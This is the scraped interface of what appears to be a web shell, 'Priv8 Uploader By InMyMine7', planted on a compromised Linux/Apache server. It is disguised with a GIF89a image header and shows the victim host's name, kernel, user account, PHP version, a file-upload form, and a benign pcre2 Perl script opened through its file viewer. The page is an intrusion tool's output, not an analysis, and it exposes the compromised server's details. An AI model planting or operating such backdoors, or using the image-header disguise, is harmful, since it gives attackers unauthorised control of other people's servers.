GIF89a; 
Priv8 Uploader By InMyMine7
Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64









    

    

    HEX

    

    





    


        


            
HEX


            

            


            


                


                    Server:

                    Apache/2.4.53 (Unix) OpenSSL/1.0.2k-fips

                


                


                    System:

                    Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64

                


                


                    User:

                    vacationcoursesc (1031)

                


                


                    PHP:

                    7.3.28

                


                


                    Disabled:

                    NONE

                


            


        




        


            $ pwd: /usr/local/src/pcre2-10.39/
        


        


            
Upload Files




            


            


                


                    


                        

                        

                    


                




                

                

                


                    


                        

                        

                    


                




                


                    


                        

                        

                        

                    


                


            


        




        
File: //usr/local/src/pcre2-10.39/Detrail
#!/usr/bin/perl

# This is a script for removing trailing whitespace from lines in files that
# are listed on the command line.

# This subroutine does the work for one file.

sub detrail {
my($file) = $_[0];
my($changed) = 0;
open(IN, "$file") || die "Can't open $file for input";
@lines = <IN>;
close(IN);
foreach (@lines)
  {
  if (/\s+\n$/)
    {
    s/\s+\n$/\n/;
    $changed = 1;
    }
  }
if ($changed)
  {
  open(OUT, ">$file") || die "Can't open $file for output";
  print OUT @lines;
  close(OUT);
  }
}

# This is the main program

$, = "";   # Output field separator
for ($i = 0; $i < @ARGV; $i++) { &detrail($ARGV[$i]); }

# End



                        

                            @

                            Telegram